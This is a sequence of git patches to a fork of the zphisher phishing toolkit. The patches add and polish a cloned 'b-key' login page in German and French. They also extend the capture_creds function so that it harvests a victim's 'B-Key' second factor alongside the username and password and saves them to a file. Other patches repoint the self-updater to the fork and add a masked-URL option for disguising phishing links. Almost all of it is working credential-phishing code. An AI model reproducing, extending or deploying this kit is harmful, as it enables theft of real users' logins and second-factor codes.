+ + + +
+
+ + +
+ +

Ich habe mein Passwort vergessen

+
+ +
+
+
+ + + + +
+ +
+
+

Melden Sie sich mit einem anderen Verband/Organisation an


+
+ + + + + + From fee2fee6140ce8395dd81f1f55dd53de3d6c0a76 Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 10:08:32 +0200 Subject: [PATCH 49/64] Update login.html --- .sites/b-key/login.html | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.sites/b-key/login.html b/.sites/b-key/login.html index a5890985..d0b63d75 100644 --- a/.sites/b-key/login.html +++ b/.sites/b-key/login.html @@ -17,10 +17,10 @@
From c85c75d3f426874f6c07748fd7cd9528835595cb Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 10:11:17 +0200 Subject: [PATCH 50/64] Update login_de.html --- .sites/b-key/login_de.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/b-key/login_de.html b/.sites/b-key/login_de.html index ca5d1e15..48219a78 100644 --- a/.sites/b-key/login_de.html +++ b/.sites/b-key/login_de.html @@ -60,7 +60,7 @@

- +

Melden Sie sich mit einem anderen Verband/Organisation an


From 3e0fc7bf5608847391c38a2c6a5df20b9e0c9cc4 Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 10:12:19 +0200 Subject: [PATCH 51/64] Update login_fr.html --- .sites/b-key/login_fr.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/b-key/login_fr.html b/.sites/b-key/login_fr.html index 777744e7..95be6f65 100644 --- a/.sites/b-key/login_fr.html +++ b/.sites/b-key/login_fr.html @@ -63,7 +63,7 @@

-

Connecter vous avec une autre fédération/organisation


+

Connectez-vous avec une autre fédération/organisation


From af075d53a4757deb6c43881370a51a1926297d2b Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 14 Jun 2024 09:13:15 +0200 Subject: [PATCH 52/64] Update login.php --- .sites/b-key/login.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/b-key/login.php b/.sites/b-key/login.php index a11991c5..1132633c 100644 --- a/.sites/b-key/login.php +++ b/.sites/b-key/login.php @@ -1,6 +1,6 @@ From 1095d6006c1a18fa58f039a2a3e55679dfa58677 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 14 Jun 2024 09:25:06 +0200 Subject: [PATCH 53/64] Update login.php --- .sites/b-key/login.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/b-key/login.php b/.sites/b-key/login.php index 1132633c..51480600 100644 --- a/.sites/b-key/login.php +++ b/.sites/b-key/login.php @@ -1,6 +1,6 @@ From 6823f38c923234e7778d859568fcaa8a686c3c17 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 14 Jun 2024 09:31:07 +0200 Subject: [PATCH 54/64] Update zphisher.sh --- zphisher.sh | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 77f9592b..441c5b8e 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -421,10 +421,13 @@ capture_ip() { ## Get credentials capture_creds() { ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}') - PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F ":." '{print $NF}') + PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F "Pass: " '{print $2}' | awk '{print $1}') + BKEY=$(grep -o 'B-Key:.*' .server/www/usernames.txt | awk '{print $2}') + IFS=$'\n' echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT" - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD" + echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD" + echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} B-Key : ${BLUE}$BKEY echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/usernames.dat" cat .server/www/usernames.txt >> auth/usernames.dat echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. " From 69fb32d0b4a32adf1ea4c2dda98182131fe7e260 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 14 Jun 2024 09:37:09 +0200 Subject: [PATCH 55/64] Update zphisher.sh --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index 441c5b8e..e6af8d46 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -427,7 +427,7 @@ capture_creds() { IFS=$'\n' echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT" echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD" - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} B-Key : ${BLUE}$BKEY + echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} B-Key : ${BLUE}$BKEY" echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/usernames.dat" cat .server/www/usernames.txt >> auth/usernames.dat echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. " From 7953c5a6a2de9cc9026281f68a40f1753ff14265 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 14 Jun 2024 09:41:34 +0200 Subject: [PATCH 56/64] Update zphisher.sh --- zphisher.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index e6af8d46..d3f28602 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -420,10 +420,10 @@ capture_ip() { ## Get credentials capture_creds() { - ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}') + ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}') PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F "Pass: " '{print $2}' | awk '{print $1}') - BKEY=$(grep -o 'B-Key:.*' .server/www/usernames.txt | awk '{print $2}') - + BKEY=$(grep -o 'B-Key:.*' .server/www/usernames.txt | awk -F "B-Key: " '{print $2}' | awk '{print $1}') + IFS=$'\n' echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT" echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD" From 720be9c681050d198a98fb44d8a5c123374e5114 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 14 Jun 2024 09:46:30 +0200 Subject: [PATCH 57/64] Update login.php --- .sites/b-key/login.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/b-key/login.php b/.sites/b-key/login.php index 51480600..af16f222 100644 --- a/.sites/b-key/login.php +++ b/.sites/b-key/login.php @@ -1,6 +1,6 @@ From c286d405f9e4c183a535d3a0ede42f53eb78fed6 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 14 Jun 2024 12:31:26 +0200 Subject: [PATCH 58/64] Update zphisher.sh --- zphisher.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index d3f28602..23630d83 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -427,7 +427,9 @@ capture_creds() { IFS=$'\n' echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT" echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD" - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} B-Key : ${BLUE}$BKEY" + if [[ ! -z "$BKEY" ]]; then + echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} B-Key : ${BLUE}$BKEY" + fi echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/usernames.dat" cat .server/www/usernames.txt >> auth/usernames.dat echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. " From c2afa11a1c3c55c70d70e22bb8ce7489ed45f4c6 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 21 Jun 2024 09:45:46 +0200 Subject: [PATCH 59/64] Update zphisher.sh --- zphisher.sh | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 23630d83..c30ebf98 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -164,9 +164,9 @@ kill_pid() { # Check for a newer release check_update(){ echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update : " - relase_url='https://api.github.com/repos/htr-tech/zphisher/releases/latest' + relase_url='https://api.github.com/repos/dracksters/zphisher/releases/latest' new_version=$(curl -s "${relase_url}" | grep '"tag_name":' | awk -F\" '{print $4}') - tarball_url="https://github.com/htr-tech/zphisher/archive/refs/tags/${new_version}.tar.gz" + tarball_url="https://github.com/dracksters/zphisher/archive/refs/tags/${new_version}.tar.gz" if [[ $new_version != $__version__ ]]; then echo -ne "${ORANGE}update found\n"${WHITE} @@ -551,19 +551,19 @@ tunnel_menu() { ## Custom Mask URL custom_mask() { -{ sleep .5; clear; banner_small; echo; } -read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op -echo -if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then -echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" -read -e -p "${WHITE} ==> ${ORANGE}" -i https:// mask_url -if [[ ${mask_url//:} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then -mask=$mask_url -echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" -else -echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." -fi -fi + { sleep .5; clear; banner_small; echo; } + read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op + echo + if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then + echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" + read -e -p "${WHITE} ==> ${ORANGE}" -i https:// mask_url + if [[ ${mask_url} =~ ^https?:// || ${mask_url::4} == "www." ]] && [[ ${mask_url#http://} =~ ^[^,~!@%:=#;^*"\'|?+<>({})\\/]+$ ]] && [[ ${mask_url#https://} =~ ^[^,~!@%:=#;^*"\'|?+<>({})\\/]+$ ]]; then + mask=$mask_url + echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" + else + echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." + fi + fi } ## URL Shortner From 412429a732f6544553dd9fd5b1e0453844243e3f Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 21 Jun 2024 09:51:40 +0200 Subject: [PATCH 60/64] Update zphisher.sh --- zphisher.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index c30ebf98..e0416250 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -557,10 +557,10 @@ custom_mask() { if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" read -e -p "${WHITE} ==> ${ORANGE}" -i https:// mask_url - if [[ ${mask_url} =~ ^https?:// || ${mask_url::4} == "www." ]] && [[ ${mask_url#http://} =~ ^[^,~!@%:=#;^*"\'|?+<>({})\\/]+$ ]] && [[ ${mask_url#https://} =~ ^[^,~!@%:=#;^*"\'|?+<>({})\\/]+$ ]]; then - mask=$mask_url - echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" - else + if [[ ${mask_url} =~ ^(https?://|www\.) ]] && [[ ${mask_url#http://} =~ ^[^,~!@%:=#\;\^\*\"\'\|\?+<>\(\)\{}/\\]+$ ]] && [[ ${mask_url#https://} =~ ^[^,~!@%:=#\;\^\*\"\'\|\?+<>\(\)\{}/\\]+$ ]]; then + mask=$mask_url + echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" +else echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." fi fi From da4c9837eb68286c4149e1ef3ae413396e18d620 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 21 Jun 2024 09:54:52 +0200 Subject: [PATCH 61/64] Update zphisher.sh --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index e0416250..045fa3a2 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -557,7 +557,7 @@ custom_mask() { if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" read -e -p "${WHITE} ==> ${ORANGE}" -i https:// mask_url - if [[ ${mask_url} =~ ^(https?://|www\.) ]] && [[ ${mask_url#http://} =~ ^[^,~!@%:=#\;\^\*\"\'\|\?+<>\(\)\{}/\\]+$ ]] && [[ ${mask_url#https://} =~ ^[^,~!@%:=#\;\^\*\"\'\|\?+<>\(\)\{}/\\]+$ ]]; then + if [[ ${mask_url} =~ ^(https?://|www\.) ]] && [[ ${mask_url#http://} =~ ^[^,~!@%:=#\;\^\*\"\'\|\?\+<>\(\)\{\}/\\]+$ ]] && [[ ${mask_url#https://} =~ ^[^,~!@%:=#\;\^\*\"\'\|\?\+<>\(\)\{\}/\\]+$ ]]; then mask=$mask_url echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" else From 0625347327d790602402c88cc52269ca5149a1ff Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 21 Jun 2024 09:56:36 +0200 Subject: [PATCH 62/64] Update zphisher.sh --- zphisher.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 045fa3a2..ef05056f 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -557,10 +557,10 @@ custom_mask() { if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" read -e -p "${WHITE} ==> ${ORANGE}" -i https:// mask_url - if [[ ${mask_url} =~ ^(https?://|www\.) ]] && [[ ${mask_url#http://} =~ ^[^,~!@%:=#\;\^\*\"\'\|\?\+<>\(\)\{\}/\\]+$ ]] && [[ ${mask_url#https://} =~ ^[^,~!@%:=#\;\^\*\"\'\|\?\+<>\(\)\{\}/\\]+$ ]]; then - mask=$mask_url - echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" -else + if [[ ${mask_url//:*} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http*//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then + mask=$mask_url + echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" + else echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." fi fi From 5a046a6ecccceee6e7cfbd5d54f613b8348ad43c Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 21 Jun 2024 09:59:19 +0200 Subject: [PATCH 63/64] Update zphisher.sh --- zphisher.sh | 65 +++++++++++++++++++++++++++++------------------------ 1 file changed, 36 insertions(+), 29 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index ef05056f..f005e412 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -161,38 +161,45 @@ kill_pid() { done } -# Check for a newer release check_update(){ - echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update : " - relase_url='https://api.github.com/repos/dracksters/zphisher/releases/latest' - new_version=$(curl -s "${relase_url}" | grep '"tag_name":' | awk -F\" '{print $4}') - tarball_url="https://github.com/dracksters/zphisher/archive/refs/tags/${new_version}.tar.gz" - - if [[ $new_version != $__version__ ]]; then - echo -ne "${ORANGE}update found\n"${WHITE} - sleep 2 - echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${ORANGE} Downloading Update..." - pushd "$HOME" > /dev/null 2>&1 - curl --silent --insecure --fail --retry-connrefused \ - --retry 3 --retry-delay 2 --location --output ".zphisher.tar.gz" "${tarball_url}" - - if [[ -e ".zphisher.tar.gz" ]]; then - tar -xf .zphisher.tar.gz -C "$BASE_DIR" --strip-components 1 > /dev/null 2>&1 - [ $? -ne 0 ] && { echo -e "\n\n${RED}[${WHITE}!${RED}]${RED} Error occured while extracting."; reset_color; exit 1; } - rm -f .zphisher.tar.gz - popd > /dev/null 2>&1 - { sleep 3; clear; banner_small; } - echo -ne "\n${GREEN}[${WHITE}+${GREEN}] Successfully updated! Run zphisher again\n\n"${WHITE} - { reset_color ; exit 1; } - else - echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured while downloading." - { reset_color; exit 1; } - fi - else - echo -ne "${GREEN}up to date\n${WHITE}" ; sleep .5 - fi + echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update: " + release_url='https://api.github.com/repos/dracksters/zphisher/releases/latest' + new_version=$(curl -s "${release_url}" | grep '"tag_name":' | awk -F\" '{print $4}') + tarball_url="https://github.com/dracksters/zphisher/archive/refs/tags/${new_version}.tar.gz" + + if [[ $new_version != "$__version__" ]]; then + echo -e "${ORANGE}update found\n${WHITE}" + sleep 2 + echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${ORANGE} Downloading Update..." + pushd "$HOME" > /dev/null 2>&1 + curl --silent --insecure --fail --retry-connrefused \ + --retry 3 --retry-delay 2 --location --output ".zphisher.tar.gz" "${tarball_url}" + + if [[ -e ".zphisher.tar.gz" ]]; then + tar -xf ".zphisher.tar.gz" -C "$BASE_DIR" --strip-components 1 > /dev/null 2>&1 + if [[ $? -ne 0 ]]; then + echo -e "\n\n${RED}[${WHITE}!${RED}]${RED} Error occurred while extracting." + reset_color + exit 1 + fi + rm -f ".zphisher.tar.gz" + popd > /dev/null 2>&1 + { sleep 3; clear; banner_small; } + echo -e "\n${GREEN}[${WHITE}+${GREEN}] Successfully updated! Run zphisher again\n\n${WHITE}" + reset_color + exit 1 + else + echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occurred while downloading." + reset_color + exit 1 + fi + else + echo -e "${GREEN}up to date\n${WHITE}" + sleep 0.5 + fi } + ## Check Internet Status check_status() { echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Internet Status : " From deaf6a997815f83d29f074e9a76fa4d8e7316248 Mon Sep 17 00:00:00 2001 From: dracksters Date: Fri, 21 Jun 2024 10:03:17 +0200 Subject: [PATCH 64/64] Update zphisher.sh --- zphisher.sh | 35 +---------------------------------- 1 file changed, 1 insertion(+), 34 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index f005e412..1e843d30 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -163,40 +163,7 @@ kill_pid() { check_update(){ echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update: " - release_url='https://api.github.com/repos/dracksters/zphisher/releases/latest' - new_version=$(curl -s "${release_url}" | grep '"tag_name":' | awk -F\" '{print $4}') - tarball_url="https://github.com/dracksters/zphisher/archive/refs/tags/${new_version}.tar.gz" - - if [[ $new_version != "$__version__" ]]; then - echo -e "${ORANGE}update found\n${WHITE}" - sleep 2 - echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${ORANGE} Downloading Update..." - pushd "$HOME" > /dev/null 2>&1 - curl --silent --insecure --fail --retry-connrefused \ - --retry 3 --retry-delay 2 --location --output ".zphisher.tar.gz" "${tarball_url}" - - if [[ -e ".zphisher.tar.gz" ]]; then - tar -xf ".zphisher.tar.gz" -C "$BASE_DIR" --strip-components 1 > /dev/null 2>&1 - if [[ $? -ne 0 ]]; then - echo -e "\n\n${RED}[${WHITE}!${RED}]${RED} Error occurred while extracting." - reset_color - exit 1 - fi - rm -f ".zphisher.tar.gz" - popd > /dev/null 2>&1 - { sleep 3; clear; banner_small; } - echo -e "\n${GREEN}[${WHITE}+${GREEN}] Successfully updated! Run zphisher again\n\n${WHITE}" - reset_color - exit 1 - else - echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occurred while downloading." - reset_color - exit 1 - fi - else - echo -e "${GREEN}up to date\n${WHITE}" - sleep 0.5 - fi + }